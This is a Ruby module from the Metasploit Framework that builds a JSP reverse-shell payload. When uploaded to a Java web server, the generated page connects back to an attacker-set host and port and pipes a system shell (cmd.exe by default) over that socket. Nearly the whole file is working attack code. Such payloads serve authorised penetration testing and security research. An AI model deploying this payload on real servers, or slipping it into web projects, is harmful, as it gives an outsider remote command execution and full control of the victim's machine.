metasploit-framework/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb

106 lines
3.0 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => %w{ linux osx solaris unix win },
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
end
def generate
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
jsp = %q{
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( "LHOST", LPORT );
Process process = Runtime.getRuntime().exec( "SHELL" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
}
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
return super
end
jsp = jsp.gsub( "LHOST", datastore['LHOST'] )
jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
return super + jsp
end
end